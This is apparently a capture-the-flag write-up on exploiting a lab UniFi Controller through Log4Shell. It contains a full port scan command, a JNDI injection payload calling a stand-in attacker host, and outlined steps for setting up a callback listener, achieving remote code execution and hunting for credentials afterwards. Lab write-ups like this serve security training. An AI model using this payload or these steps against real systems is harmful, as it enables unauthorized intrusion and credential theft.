Core Concept

Targeted enumeration revealed a vulnerable UniFi Controller (v6.4.54) exposed over HTTPS. The version is known to be vulnerable to Log4Shell (CVE-2021-44228), which allows remote code execution via crafted input in logging parameters.


๐Ÿ”น In โ€” Gaining Initial Foothold

๐ŸŒ Target Information


๐Ÿ“ก Full Port Scan

sudo nmap -sS -v4 -T5 -p 1-65535 10.129.129.190

Results:

PortStateServiceNotes
22/tcpopensshPotential for lateral movement
6789/tcpopenibm-db2-adminRare โ€” may be misconfigured
8080/tcpopenhttp-proxyLikely redirect or API
8443/tcpopenhttps-altUniFi Controller Web UI
8843/tcpopenunknownPossible alternate web service
8880/tcpopencddbp-altCustom or HTTP service

โ˜ฃ๏ธ Vulnerability: CVE-2021-44228

Log4Shell affects Java-based applications using vulnerable versions of the Log4j library. User-controlled input that is logged can lead to:

  • Remote Code Execution (RCE)
  • Full system compromise

๐Ÿงช Exploitation Overview (via callback payload)

${jndi:ldap://attacker.com/exploit}

Injectable fields:

  • Headers (User-Agent, X-Forwarded-For)
  • Form inputs, URLs, etc.

Warning

This vulnerability is critical and can be exploited remotely. It was actively used in real-world attacks after its disclosure in December 2021.

Tip

Use tools like log4j-scan or nuclei to detect active injection points automatically.


๐Ÿ“Œ Next Steps

  • Identify input vectors (headers, fields) in the UniFi web interface.
  • Set up listener with ldaprefserver or marshalsec.
  • Capture callback and deliver malicious payload for RCE.
  • Post-exploitation: look for credentials, config backups, or SSH pivoting.